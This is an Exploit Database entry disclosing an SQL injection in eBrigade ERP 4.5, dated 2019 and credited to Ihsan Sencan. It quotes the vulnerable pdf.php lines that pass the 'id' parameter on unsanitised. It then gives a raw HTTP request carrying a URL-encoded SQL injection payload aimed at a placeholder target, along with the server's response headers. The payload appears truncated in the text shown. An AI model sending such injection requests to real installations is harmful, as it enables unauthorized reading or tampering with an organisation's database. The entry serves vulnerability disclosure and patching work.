eBrigade ERP 4.5 - SQL Injection

EDB-ID:
46117

CVE:
N/A

EDB Verified: ×

Author:
IHSAN SENCAN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-01-10

Vulnerable App:

```
# Exploit Title: eBrigade ERP 4.5 - SQL Injection
# Dork: N/A
# Date: 2019-01-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://ebrigade.net/
# Software Link:
https://netcologne.dl.sourceforge.net/project/ebrigade/ebrigade/eBrigade%204.
# Version: 4.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/pdf.php?pdf=DPS&id=[SQL]
#

#/[PATH]/pdf.php

#30 $id=$_SESSION['id'];
#31
#32 $badges = ""; $devis = "";
#33
#34 $page =(isset($_GET['page'])?intval($_GET['page']):0);
#35
#36 $doc = (isset($_POST['pdf'])?secure_input($dbc,$_POST['pdf']):
(isset($_GET['pdf'])?secure_input($dbc,$_GET['pdf']):""));
#37
#38 $devis = explode(",",(isset($_POST['id'])?
secure_input($dbc,$_POST['id']):(isset($_GET['id'])?
secure_input($dbc,$_GET['id']):"")));
#39
#40 $badges = explode(",",(isset($_POST['SelectionMail'])?
secure_input($dbc,$_POST['SelectionMail']):(isset($_GET['SelectionMail'])?
secure_input($dbc,$_GET['SelectionMail']):"")));
#41

GET /[PATH]/pdf.php?
pdf=DPS&id=1%20%41%4e%44%28%53%45%4c%45%43%54%20%31%20%46%52%4fM%20%28%53%45%
HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101
Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=qsaq65v2oalshif28tmsd7c261
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Thu, 10 Jan 2019 19:14:28 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Content-Length: 875
Keep-Alive: timeout=5, max=60
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
```

Tags: SQL Injection (SQLi)

Advisory/Source: Link

Databases

Links

Sites

Solutions